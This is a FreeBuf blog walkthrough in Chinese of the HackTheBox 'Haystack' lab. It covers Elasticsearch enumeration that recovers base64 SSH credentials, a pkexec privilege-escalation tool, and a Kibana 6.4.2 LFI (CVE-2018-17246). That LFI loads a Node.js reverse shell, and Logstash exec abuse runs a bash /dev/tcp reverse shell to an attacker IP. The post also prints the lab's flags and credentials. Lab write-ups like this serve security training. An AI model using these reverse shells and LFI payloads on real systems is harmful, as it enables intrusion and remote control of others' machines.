freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Haystack Elasticsearch cat API+TRP00F权限提升+Kibana LFI+Logstash权限提升
maptnh 2025-03-02 12:09:02 18689
所属地 海外

Information Gathering

IP AddressOpening Ports
10.10.10.115TCP:22,80,9200

$ ip='10.10.10.115'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a8de2928b14b63fe42f3a4743238b2b (RSA)
|   256 e75a3a978e8e728769a30dd100bc1f09 (ECDSA)
|_  256 01d259b2660a9749205f1c84eb81ed95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.12.2
9200/tcp open  http    nginx 1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2

Elasticsearch cat API

https://www.elastic.co/guide/en/elasticsearch/reference/6.4/cat.html

https://www.elastic.co/guide/en/elasticsearch/reference/6.4/search.html

http://10.10.10.115:9200/

image.png

1.查询集群中的索引模板

$ curl http://10.10.10.115:9200/_cat/

image-1.png

2.查询 Elasticsearch 集群中的所有索引

$ curl http://10.10.10.115:9200/_cat/indices

image-2.png

3.从 Elasticsearch 获取 253 条 quote,提取其文本,并保存到 /tmp/quotes 文件中。

$ curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] |._source.quote' > /tmp/quotes

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

image-3.png

username:security
password:spanish.is.key

image-4.png

User.txt

1091e84b2be43c7954961bbcca7d2f8c

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

image-5.png

Privilege Escalation:Kibana 6.4.2 LFI && Logstash

Kibana 是一个 数据可视化和分析工具,用于 Elasticsearch 数据库,主要用于日志分析、监控和安全事件调查。它是 Elastic Stack(ELK Stack) 的一部分。

image-6.png

image-7.png

$ ssh -L 5601:127.0.0.1:5601 security@10.10.10.115

image-8.png

https://github.com/mpgn/CVE-2018-17246

靶机中创建/dev/shm/shell.js

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.16.33", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js'

image-10.png

image-11.png

filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}

会获取从路径/opt/kibana/任何以logstash_开头的文件

output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

需要创建一个以logstash_开头的文件

$ echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.16.33/10033 0>&1'>/opt/kibana/logstash_rev

image-13.png

Root.txt

e61a148a34817a121876b7721db6445a

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 maptnh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HackTheBox
maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 344 文章数
  • 65 关注者
[CISSP] [9] 安全漏洞,威胁和对策
2025-04-09
[CISSP] [8] 安全模型,设计和能力的原则
2025-04-09
[CISSP] [7] PKI和密码应用
2025-04-03
文章目录